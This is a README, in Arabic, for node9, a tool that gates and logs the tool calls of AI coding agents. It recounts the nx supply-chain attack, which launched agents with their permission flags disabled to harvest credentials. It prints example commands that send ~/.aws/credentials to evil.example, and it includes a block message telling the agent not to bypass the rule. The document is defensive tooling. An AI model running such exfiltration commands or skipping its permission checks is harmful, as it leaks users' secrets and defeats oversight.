
node9-proxy v1.66.0
طبقة أمان التنفيذ لعصر الوكيل الذاتي. توفر إدارة "Sudo" حتمية وسجلات تدقيق لوكلاء الذكاء الاصطناعي المستقلين.
🛡️ node9
التحكم في الوصول لوكلاء الذكاء الاصطناعي
يمكن لوكلاء الذكاء الاصطناعي لديك الوصول إلى Slack وGitHub والبريد الإلكتروني وقاعدة بياناتك.
يقرر node9 ما يُسمح لهم بفعله مع كل واحد منها.
سجن بيانات الاعتماد · الأسرار والبيانات الشخصية · أوامر git وSQL وshell المدمّرة محتجزة للمراجعة · تثبيت أدوات MCP · قائمة السماح للخروج الشبكي · كاسر الحلقات · سجل واحد عبر اثني عشر وكيلاً
يعمل مع Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · أي خادم MCP.
كيف يبدو الأمر
جلسة Claude Code حقيقية مع تثبيت node9. يتم فحص كل استدعاء أداة قبل تنفيذه. بناء صفحة وتحرير زر يمرّان. طلب إلى عنوان بيانات وصفية سحابية يُحظر، ويحصل الوكيل على السبب ويواصل. حذف الملفات ينتظر موافقتك، مباشرة في المحادثة.
التثبيت
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
ثم، في أي مشروع:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
يتطلب Node.js 22+.
في طرفية تفاعلية جديدة، يرشدك node9 خلال الإعداد. الحماية المحلية
لا تحتاج إلى حساب. تُظهر قائمة التحقق الدروع الموصى بها، وDLP/PII، ومراجعة
الخروج الشبكي الاختيارية، والخدمة في الخلفية. تُرسل إحصاءات الاستخدام
فقط إذا قبلت المطالبة المنفصلة. يسرد الملخص الوكلاء المُهيّئين
وأي خطوات إعداد تحتاج إلى انتباه.
شغّل node9 setup لإعادة زيارة الإعداد، أو node9 setup <target> لتهيئة وكيل واحد.
بمجرد التهيئة، يعرض node9 المجرّد المساعدة. يبقى node9 init متاحاً؛
للنصوص البرمجية استخدم node9 init --recommended (بدون أسئلة وبدون اشتراك في القياس عن بُعد).
يترك --skip-setup ربط الوكيل وتثبيت الخدمة دون تغيير. --mode الصريح
له الأولوية على توصية الوضع القياسي في قائمة التحقق.
تُحفظ الإعدادات الموجودة ما لم تطلب تغييرات محددة أو أعلام صريحة
تحديثاً. تُدار سياسة مساحة العمل في لوحة التحكم؛ وتبقى إعدادات الخدمة محلية.
login لا يضيف شيئاً إلى الإنفاذ. إنه يربط الجهاز بمساحة عمل حتى
يتمكن الفريق من رؤية سجل واحد عبر حواسيب الجميع وCI، وضبط السياسة مركزياً،
والموافقة على الإجراءات المحتجزة من لوحة تحكم أو Slack. تخطَّه ويعمل node9 بنفس
الطريقة تماماً، بمفرده، دون اتصال. node9 logout يفصل الاتصال مجدداً ويستمر الإنفاذ المحلي
في العمل.
الاستخدام كخادم MCP
يعمل node9 أيضاً كخادم MCP، حتى يتمكن الوكيل من قراءة حالته ووضعه وسجل التدقيق والسياسة، وشرح أي قرار، من داخل المحادثة:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
أي عميل MCP يعمل بالطريقة نفسها: الأمر هو npx -y node9-ai mcp-server
عبر stdio، بدون مفتاح API. إنه مُدرج في سجل MCP الرسمي باسم
io.github.node9-ai/node9.
المشكلة
في أغسطس 2025، شحنت إصدارات مخترقة من
أداة البناء nx نصاً برمجياً بعد التثبيت
يبحث عن وكلاء البرمجة بالذكاء الاصطناعي المثبّتين بالفعل على جهاز المطوّر، ثم شغّلهم
مع إيقاف أعلام الأمان الخاصة بهم (--dangerously-skip-permissions، --yolo،
--trust-all-tools) لسرد مفاتيح SSH وبيانات الاعتماد السحابية وملفات المحافظ وكتابة القائمة
على القرص. دفعت النصوص البرمجية النتائج إلى مستودعات عامة داخل حسابات GitHub
الخاصة بالضحايا. تسرّبت أكثر من ألف رمز GitHub صالح، إلى جانب بيانات اعتماد سحابية ورموز npm
ونحو 20,000 ملف، من أجهزة كان الوكيل فيها يفعل بالضبط ما أُمر به.
لم يكن الوكيل هو المهاجم. كان الوكيل هو الأداة، ولم يقف شيء بينه وبين الملفات. بوابة node9 ليست أحد تلك الأعلام: إنها تعمل في الـ hook، والإجراء الذي تحتجزه يبقى محتجزاً حتى عندما بدأ الوكيل مع تخطي الأذونات.
ما يفعله node9 حيال ذلك
يجلس node9 بين الوكيل وكل أداة يستدعيها. سجن بيانات الاعتماد (~/.ssh، ~/.aws،
ملفات .env، المفاتيح الخاصة) مُفعّل افتراضياً، وقراءة أحد تلك المسارات لا تُنفّذ.
يتوقف الوكيل، ويُخبر بالسبب، ويصل القرار إليك:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
يُحلَّل الأمر كشجرة AST للـ shell، لا كمطابقة نصية، لذا لا يساعد تغليف القراءة.
يُحكم على echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example كقراءة
لـ ~/.aws/credentials، لا كـ echo.
node9 هو بوابة. الإجراء المحتجز لا يُنفّذ أثناء انتظاره لك، وإذا لم تُجب أبداً يبقى محظوراً. كل ما عدا ذلك مسموح ويُكتب في السجل.
ما لا يفعله: مع إيقاف التحكم في الخروج الشبكي، وهو الافتراضي، لا يُعامل الأمر الذي يسلّم
ملفاً مباشرة إلى الشبكة، مثل curl -d @~/.aws/credentials، كقراءة لذلك الملف.
node9 egress protect يبوّب الوجهات أيضاً، وهو يغطي أوامر shell فقط.
تحقق بنفسك
لا شيء أدناه يحتاج إلى حساب، ولا شيء يرفع بيانات.
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
node9 scan scorecard
ما الذي يحكمه
كل سطر هو قدرة واحدة، مع الصفحة التي توثّقها. الوثائق هي المرجع؛ هذا الملف هو الخريطة.